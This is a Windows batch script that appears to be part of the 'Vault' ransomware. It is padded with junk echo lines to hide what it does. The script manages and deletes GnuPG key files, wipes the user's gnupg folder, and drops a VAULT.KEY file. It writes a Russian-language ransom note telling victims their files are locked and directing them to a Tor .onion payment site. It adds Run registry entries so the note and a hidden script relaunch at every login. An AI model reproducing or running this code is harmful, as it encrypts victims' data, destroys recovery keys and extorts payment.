echo yu8avat34jeq4vapr3JUceC3uquvethe >nul

echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq"
echo 2hUwaJe7enacePrek25payEneteyuThU >nul
echo yu8avat34jeq4vapr3JUceC3uquvethe >nul
echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq"
echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq"
echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
move /y "%temp%\secring.qpq" "%temp%\secring.gpg"
echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq"
echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe"
echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq"
echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq"
move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548"
del /f /q "%temp%\secring.gpg"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
del /f /q "%temp%\3637bf69.36ddf8fe"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
del /f /q "%temp%\8f9c3dbb.9767d548"
del /f /q "%temp%\21b0fb7b.7ca0ec0c"
del /f /q "%temp%\random_seed"
del /f /q "%temp%\trustdb.gpg"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
del /f /q "%temp%\secring.gpg"
del /f /q "%temp%\*.lock"
del /f /q "%temp%\*.bak"
attrib -s -h -r "%AppData%\gnupg\*.*"
attrib -s -h -r "%AppData%\gnupg"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
del /f /q "%AppData%\gnupg\*.*"
rmdir /s /q "%AppData%\gnupg"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY"
copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY"
echo jePHAHasweN4z3be26ejusWeQeQufRa4 >nul
echo 8ExA3rE6asasaxaZa4a2ezeQewe8rusa >nul
copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY"
echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY"
attrib +r "%temp%\4077430c_VAULT.KEY"
copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY"
echo.> "%temp%\VAULT.txt"
echo Ваши рабочие документы и базы данных были заблокированы и помечены форматом .vаult >> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo 9kYTla1Z2v4RqBIe7bMIphoN3yZ6zJ9z21bn1NK3CN4TBuBPkb
echo VwmmrE52cmWxWNq5CiI2cHZHMRSewEE0uq254wS5VjlQNunrBY
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul

echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb
echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge
echo Для их восстановления необходимо получить уникальный ключ>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo.>> "%temp%\VAULT.txt"
echo   ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: >> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo.>> "%temp%\VAULT.txt"
echo КРАТКО>> "%temp%\VAULT.txt"
echo 1. Перейдите на наш веб-ресурс>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo 2. Гарантированно получите Ваш ключ>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo 3. Восстановите файлы в прежний вид>> "%temp%\VAULT.txt"
echo.>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo ДЕТАЛЬНО>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo   Шаг 1:>> "%temp%\VAULT.txt"
echo Скачайте Tor браузер с официального сайта: http://torproject.org>> "%temp%\VAULT.txt"
echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul
echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul
echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul
echo   Шаг 2:>> "%temp%\VAULT.txt"
echo Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt"
echo   Шаг 3:>> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его>> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo Авторизируйтесь на сайте используя ключ VAULT.KEY>> "%temp%\VAULT.txt"
echo Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой>> "%temp%\VAULT.txt"
echo   STEP 4:>> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО>> "%temp%\VAULT.txt"
echo.>> "%temp%\VAULT.txt"
echo ДОПОЛНИТЕЛЬНО>> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo a^) Вы не сможете восстановить файлы без уникального ключа ^(который безопасно хранится на нашем сервере^)>> "%temp%\VAULT.txt"
echo b^) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP >> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo c^) Ваша стоимость восстановления не окончательная, пишите в чат>> "%temp%\VAULT.txt"
echo.>> "%temp%\VAULT.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo   Дата блокировки: %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt"
copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt"
attrib +h "%userprofile%\Desktop\vault.txt"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul

echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb
echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
"%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg"
echo WabrUswUrafuThezUzusw6gEgephubAS >nul
echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt"
echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
echo 8resWe46Dra2ejed5EgefracraVUweth >nul
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt"
echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
echo 8resWe46Dra2ejed5EgefracraVUweth >nul
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js"
call "%temp%\4c2e533d.cmd"
echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul
echo 8resWe46Dra2ejed5EgefracraVUweth >nul
echo ^^^^body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^^^Vault Notification^^